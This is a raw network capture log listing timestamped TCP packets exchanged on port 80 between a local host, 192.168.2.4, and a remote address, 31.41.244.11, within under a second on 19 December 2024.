Dec 19, 2024 20:11:23.378144979 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.378185987 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.378195047 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.378237963 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.379221916 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.379276037 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.379357100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.379410982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.380201101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.380209923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.380254984 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.381388903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.381438971 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.381489992 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.381551027 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.382178068 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.382257938 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.382460117 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.382543087 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.383239031 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.383296013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.383497000 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.383563042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.384229898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.384287119 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.384356976 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.384416103 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.385282040 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.385291100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.385340929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.386261940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.386449099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.386559963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.386674881 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.387238026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.387296915 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.387335062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.387376070 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.388391972 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.388449907 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.388695002 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.388741016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.389394045 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.389430046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.389434099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.389488935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.390266895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.390366077 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.390434980 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.390480995 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.391355991 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.391592026 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.392093897 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.392141104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.392328024 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.392337084 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.392385960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.393405914 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.393471956 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.393553019 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.393603086 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.394383907 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.394469976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.394750118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.394818068 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.395349026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.396096945 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.396419048 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.396496058 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.396544933 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.396588087 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.396675110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.396718979 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.397391081 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.397516012 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.397931099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.397985935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.398369074 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.398418903 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.398588896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.398644924 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.399383068 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.399441957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.399507999 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.399554014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.400566101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.400618076 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.400682926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.400732040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.401573896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.401602983 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.401635885 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.401659966 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.402457952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.402523994 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.402590990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.402683973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.403462887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.403533936 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.403717041 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.403764963 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.404496908 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.404541016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.405632973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.405642033 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.405684948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.405692101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.405775070 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.406502962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.406557083 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.406755924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.406805038 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.407469988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.407531977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.408004045 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.408092022 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.408463001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.408521891 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.421540022 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.421551943 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.421627045 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.421892881 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.421902895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.421947956 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.422897100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.422940969 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.422965050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.423012972 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.424453974 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.424544096 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.551101923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.551285982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.551286936 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.551367044 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.551568985 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.551630974 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.551631927 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.551707029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.551738024 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.552690029 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.552753925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.552805901 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.552860975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.553805113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.553957939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.554023027 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.554069996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.554660082 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.554713964 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.554791927 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.554848909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.555646896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.555696964 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.555761099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.555809021 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.556683064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.556737900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.557104111 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.557158947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.557657957 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.557729959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.557737112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.557770967 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.558726072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.558789015 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.558789968 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.558840990 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.559703112 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.559796095 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.560148954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.560204029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.560700893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.560710907 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.560755968 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.561691046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.561744928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.561908007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.561981916 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.562730074 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.562794924 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.562860012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.562922955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.563865900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.563875914 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.563930988 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.564748049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.564838886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.564922094 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.564973116 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.565824032 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.565888882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.565913916 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.565958977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.566762924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.566831112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.566871881 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.566920042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.567719936 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.567773104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.568525076 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.568576097 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.568731070 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.568777084 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.568905115 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.568953991 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.569807053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.570009947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.570080996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.570136070 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.570883036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.570940971 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.571307898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.571365118 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.571841955 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.571908951 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.572294950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.572365999 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.572798014 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.572849989 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.572916985 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.572966099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.573812962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.573862076 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.574059963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.574114084 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.574830055 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.574892044 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.575520992 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.575582981 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.576306105 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.576314926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.576370955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.577105045 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.577275038 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.577955961 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.577965021 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.578013897 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.578087091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.578177929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.578922033 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.578937054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.578977108 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.579893112 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.579946995 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.580147982 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.580200911 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.581207037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.581222057 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.581269026 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.581984997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.582020998 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.582083941 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.582935095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.582995892 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.583025932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.583096981 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.583955050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.584013939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.584100008 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.584157944 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.584975958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.585032940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.585211039 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.585270882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.586019993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.586067915 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.586082935 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.586183071 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.587080956 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.587371111 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.587503910 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.588191032 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.588258982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.588541031 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.588619947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.589004993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.589066982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.589849949 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.589962006 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.590039015 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.590173006 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.590231895 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.591120958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.591188908 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.591257095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.592061996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.592072010 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.592140913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.593204021 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.593213081 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.593271017 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.594058037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.594141960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.594557047 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.594669104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.595062971 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.595129013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.595169067 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.595220089 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.596144915 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.596205950 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.596287012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.596338034 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.597143888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.597259998 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.597323895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.597409010 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.598222017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.598326921 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.598395109 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.598468065 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.599359035 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.599558115 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.599724054 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.600121021 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.600296021 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.600378990 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.613514900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.613616943 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.613728046 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.614151001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.614160061 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.614233017 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.614893913 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.614965916 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.615151882 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.615161896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.615221024 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.616183996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.616241932 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.743001938 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.743146896 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.743273973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.743283033 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.743345022 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.743371964 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.743427038 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.744215965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.744282007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.744697094 CET	80	49794	31.41.244.11	192.168.2.4
